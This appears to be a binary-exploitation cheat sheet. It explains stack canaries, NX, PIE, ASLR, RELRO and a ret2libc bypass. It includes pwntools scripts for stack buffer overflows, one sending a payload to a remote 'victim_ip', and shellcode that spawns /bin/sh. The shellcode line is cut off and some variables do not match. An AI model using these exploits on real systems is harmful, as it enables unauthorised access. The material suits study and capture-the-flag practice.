Binary Exploitation

10101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010

Quick

//find offset by trial and error or gdb/gef
python3 -c 'print ("A" * 64)'

gdb
pattern create
run
'paste pattern'
pattern search $rsp

//find libc base 
ldd vulnerableSoftware

//find callable system in memory
//The -s flag tells readelf to search for symbols, for example functions.
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system

//find /bin/sh string
//The option -a tells it to scan the entire file; -t x tells it to output the offset in hex.
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh

//To passing the parameter in after the return pointer
//you will have to use a pop rdi; 
//ret gadget to put it into the RDI register
ROPgadget --binary vulnerableSoftware | grep rdi 

//Besides those functions the return address were should be included.
objdump -d vulnerableSoftware | grep ret

i386-32-little

RELRO stands for Relocation Read-Only, which makes the global offset table (GOT) read-only after the linker resolves functions to it. The GOT is important for techniques such as the ret-to-libc attack. https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro.

Stack canaries are tokens placed after a stack to detect a stack overflow. These were supposedly named after birds that coal miners brought down to mines to detect noxious fumes. Canaries were sensitive to the fumes, and so if they died, then the miners knew they needed to evacuate. On a less morbid note, stack canaries sit beside the stack in memory (where the program variables are stored), and if there is a stack overflow, then the canary will be corrupted. This allows the program to detect a buffer overflow and shut down. You can read more about stack canaries here: https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/.

NX is short for non-executable. If this is enabled, then memory segments can be either writable or executable, but not both. This stops potential attackers from injecting their own malicious code (called shellcode) into the program, because something in a writable segment cannot be executed. On the vulnerable binary, you may have noticed the extra line RWX that indicates that there are segments which can be read, written, and executed. Look into Ret2Lib https://en.wikipedia.org/wiki/Return-to-libc_attack

https://en.wikipedia.org/wiki/Executable_space_protection

PIE stands for Position Independent Executable. This loads the program dependencies into random locations, so attacks that rely on memory layout are more difficult to conduct. This also means that it won't be affected by ASLR. https://access.redhat.com/blogs/766093/posts/1975793

Address space layout randomization (ASLR)

Address space layout randomization is a technique involved in preventing exploitation of memory by randomly arranging the address space positions of key data areas of processes and the positions of the stack, heap and libraries.

#check ASLR status
cat /proc/sys/kernel/randomize_va_space
  • 0 – No randomization. Everything is static.

  • 1 – Conservative randomization. Shared libraries, stack, mmap(), VDSO and heap are randomized.

  • 2 – Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.

https://securityetalii.es/2013/02/03/how-effective-is-aslr-on-linux-systems/

Global Offset Table (GOT)

The global offset table is a section inside a program that holds addresses of dynamically linked functions.

Most programs don't include every function they use to reduce binary size. Instead, common functions, like those in libc, are "linked" into the program.

All dynamic libraries are loaded into memory along with the main program at launch; however, functions aren't mapped to their actual code until they're first called.

After these functions are called for the first time, their real addresses are "saved" in the section of the program called .got.plt.

ASLR Bypass - Ret2lib

First is to leak the address of any function which is in libc and is being used in our binary (so it'll be saved in .got.plt). We need some function that can print values and can take a pointer as an argument. The perfect functions for this are puts and printf.

So what we can do now is to call puts and, as an argument, pass a pointer to any function that's inside .got.plt.

If we call puts and as an argument, we pass the address of the setbuf function inside of .got.plt section, then we should have leaked the real address of the sefbuf function inside a libc. And when we have this leak, we can calculate the base address of the libc.

Libc base address => Start of the c library in memory

Every time the binary is being run, the address is the same as it would have been when ASLR was turned off, and from that, we can calculate offsets for every function inside of libc.

Steps

  1. find buffer overflow

  2. ghidra

    1. Find leak function

      1. program trees -> software -> .got.plt

        1. Find a function address used in libc or any interesting dynamic library

      2. ROP leak chain

        1. Popping the $RDI register for our argument

        2. Filling the $RDI register with the address of the gets function

        3. Executing the puts function with loaded argument

        4. Returning to the main program with already leaked function

Buffer Overflow

Example outputs of pwntools checksec on a binary:

  • RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

  • RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments

  • RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

While fuzzing, if you see any Segmentation Fault or Stack Smashing, chances are you found a buffer overflow vulnerability. Finding it is nice but exploiting it is really the fun part.

Find overflow - Cyclic patterns

Cyclic patterns are heavily used to find buffer overflows. It helps calculating the offset easily.

gdb malicious.exe #load vulnerable software into debugger
pattern create #create cyclic pattern using GDB/GEF, can also use python or w/e
r #run software
#Run software until you hit vulnerable function, paste cyclic pattern into input

#64-bit
pattern search $rsp #read data from $RSP and automatically calculate offset

#32-bit
pattern search $rip $read data from $RIP and automatically calculate offset

Python script - Cyclic pattern + injection

Use the following python code to create a cyclic pattern, breaking at the buffer overflow, then injecting our payload (return address to arbitrary function)

#!/bin/python2
from pwn import *

padding = cyclic(cyclic_find('jaaa'))

#Uncomment one eip variable
#First eip points to an address of an actual function
#Second eip points to TOP OF STACK plus an arbitrary OFFSET
#eip = p32(0xbeefdead)
#eip = p32(0xffffd510+200) 

nops = "\x90"*1000 #Insert a big chunk of NOP so we can "slide" to address

#Use first payload if using first eip
#Use second payload if using second eip
#payload = padding + eip
#payload = padding + eip + nop_slide + shellcode

print(payload)

The following code will do the same using TCP

from pwn import *
connect = remote('victim_ip', 6420) #victim ip and port
print(connect.recvn(18)) #change 69 for any number of bytes to recv
payload = "A"*32 #bufffffffer
payload += p32(0xbeefdead) #overflow !
connect.send(payload) #sh311z lul
print(connect.recvn(34))

Shellcode

We want to execute /bin/sh, but we want to pass 'sh' and '-p' into the argv array. We can use shellcraft to create execve shellcode with"/bin/sh" and "['sh', '-p'] Use -f s to output as an hex formatted string ready for 1nj3ct10n, us -f a for asm output

shellcraft i386.linux.execve "/bin///sh" "['sh', '-p']" -f s

Use this code to overflow a local binary and interact with an executed shellcode

#!/bin/python2
from pwn import *

padding = cyclic(cyclic_find('ABCD'))

#Second eip points to top of the stack plus an arbitrary offset
eip = p32(0xffffd510+200)

nops = "\x90"*1000 #Insert a big chunk of NOP so we can "slide" to address

#first shellcode is made with shellraft
#second shellcode is a breakpoint for testing
shellcode = "jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3jph\x01\x01\x01\x01\x814\x24ri\x01,1\xc9Qj\x07Y\x01\xe1Qj\x08Y\x01\xe$
#shellcode = "\xcc"

payload = padding + eip + nops + shellcode

proc = process('./vulnerable')
proc.recvline()
proc.send(payload)
proc.interactive()

Last updated